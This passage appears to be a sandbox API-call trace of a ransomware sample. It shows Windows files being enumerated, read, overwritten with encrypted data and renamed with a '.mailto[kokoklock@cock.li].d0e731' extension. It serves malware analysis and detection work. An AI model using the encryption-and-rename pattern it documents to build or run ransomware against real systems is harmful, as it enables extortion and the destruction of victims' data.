lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30456e8 [0173.865] wcscmp (_String1=".", _String2=".") returned 0 [0173.865] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.865] wcscmp (_String1="..", _String2=".") returned 1 [0173.865] wcscmp (_String1="..", _String2="..") returned 0 [0173.865] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0173.865] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0173.865] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0173.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x3054350 [0173.865] wcscpy (in: _Dest=0x3054350, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0173.865] wcscat (in: _Dest=0x3054350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0173.865] wcscat (in: _Dest=0x3054350, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0173.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3054350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0173.891] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0173.891] FindClose (in: hFindFile=0x30456e8 | out: hFindFile=0x30456e8) returned 1 [0173.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b0c8) returned 1 [0173.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b2c8) returned 1 [0173.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024310) returned 1 [0173.891] RtlExitUserThread (Status=0x0) Thread: id = 2225 os_tid = 0x13ac [0173.865] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.867] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.868] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.870] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4a30) returned 1 [0173.871] RtlExitUserThread (Status=0x0) Thread: id = 2226 os_tid = 0x13b0 [0173.873] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.874] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.875] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.877] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84d18) returned 1 [0173.878] RtlExitUserThread (Status=0x0) Thread: id = 2227 os_tid = 0x13b4 [0174.629] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.630] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.630] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.631] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0878) returned 1 [0174.631] RtlExitUserThread (Status=0x0) Thread: id = 2228 os_tid = 0x13b8 [0174.632] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.632] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.632] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.633] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff20f0) returned 1 [0174.633] RtlExitUserThread (Status=0x0) Thread: id = 2229 os_tid = 0x13bc [0174.634] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.634] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.635] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1d90) returned 1 [0174.635] RtlExitUserThread (Status=0x0) Thread: id = 2230 os_tid = 0x13c0 [0174.636] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.636] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.637] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.637] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1f40) returned 1 [0174.637] RtlExitUserThread (Status=0x0) Thread: id = 2231 os_tid = 0x13c4 [0174.638] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.639] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.639] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.639] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.640] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0a28) returned 1 [0174.640] RtlExitUserThread (Status=0x0) Thread: id = 2232 os_tid = 0x13c8 [0174.641] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.642] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.642] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.642] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff16d0) returned 1 [0174.642] RtlExitUserThread (Status=0x0) Thread: id = 2233 os_tid = 0x13cc [0174.643] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.646] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.646] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1958) returned 1 [0174.646] RtlExitUserThread (Status=0x0) Thread: id = 2234 os_tid = 0x13d0 [0174.647] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.647] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.648] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x840 [0174.648] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x1ccff8f8 | out: lpFileSize=0x1ccff8f8*=8384) returned 1 [0174.648] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x20bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.648] ReadFile (in: hFile=0x840, lpBuffer=0x1ccff8cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ccff8c8, lpOverlapped=0x0 | out: lpBuffer=0x1ccff8cc*, lpNumberOfBytesRead=0x1ccff8c8*=0x4, lpOverlapped=0x0) returned 1 [0174.649] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540c8 [0174.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0174.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30541e0 [0174.649] NtQuerySystemTime (in: CurrentTime=0x1ccff8a4 | out: CurrentTime=0x1ccff8a4*=132121213319685992) returned 0x0 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x1da2b770 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xf532596c [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xb423f71 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x99115973 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x1003e056 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x1549e6ae [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xddefd965 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x99101612 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x5808c683 [0174.649] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x915ac243 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xa98e82b [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xa8032d2e [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xff00c566 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xe044c511 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xa5f8232c [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x8abd546b [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xbd6ec172 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x1e788464 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x287d773e [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x50c14b0 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x984c09d6 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xb74e86b8 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xaf23db57 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x59473149 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x807ccaf9 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x7c9ce621 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0xd2414c6f [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x30d04247 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x91474eed [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x28819e05 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x3a516272 [0174.650] RtlRandom (in: Seed=0x1ccff8b0 | out: Seed=0x1ccff8b0) returned 0x5d7bf8f [0174.662] ReadFile (in: hFile=0x840, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x20c0, lpNumberOfBytesRead=0x1ccff8a4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x1ccff8a4*=0x20c0, lpOverlapped=0x0) returned 1 [0174.663] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ccff86c | out: lpNewFilePointer=0x0) returned 1 [0174.663] WriteFile (in: hFile=0x840, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x20c0, lpNumberOfBytesWritten=0x1ccff8a0, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x1ccff8a0*=0x20c0, lpOverlapped=0x0) returned 1 [0174.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0174.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054280 [0174.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054280) returned 1 [0174.663] WriteFile (in: hFile=0x840, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ccff89c, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x1ccff89c*=0x20, lpOverlapped=0x0) returned 1 [0174.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0174.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0174.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0174.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.663] WriteFile (in: hFile=0x840, lpBuffer=0x30542f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1ccff8c8, lpOverlapped=0x0 | out: lpBuffer=0x30542f8*, lpNumberOfBytesWritten=0x1ccff8c8*=0x8, lpOverlapped=0x0) returned 1 [0174.663] WriteFile (in: hFile=0x840, lpBuffer=0x1ccff8e0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ccff8c8, lpOverlapped=0x0 | out: lpBuffer=0x1ccff8e0*, lpNumberOfBytesWritten=0x1ccff8c8*=0x4, lpOverlapped=0x0) returned 1 [0174.663] WriteFile (in: hFile=0x840, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ccff8c8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1ccff8c8*=0x4, lpOverlapped=0x0) returned 1 [0174.664] WriteFile (in: hFile=0x840, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ccff8c8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1ccff8c8*=0x6c, lpOverlapped=0x0) returned 1 [0174.664] WriteFile (in: hFile=0x840, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ccff8c8, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x1ccff8c8*=0x20, lpOverlapped=0x0) returned 1 [0174.664] WriteFile (in: hFile=0x840, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ccff8c8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1ccff8c8*=0x4, lpOverlapped=0x0) returned 1 [0174.664] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0174.664] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054118) returned 1 [0174.664] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0174.664] CloseHandle (hObject=0x840) returned 1 [0174.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x3054df8 [0174.664] wcscpy (in: _Dest=0x3054df8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" [0174.664] wcscat (in: _Dest=0x3054df8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.664] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.665] SetFileAttributesW 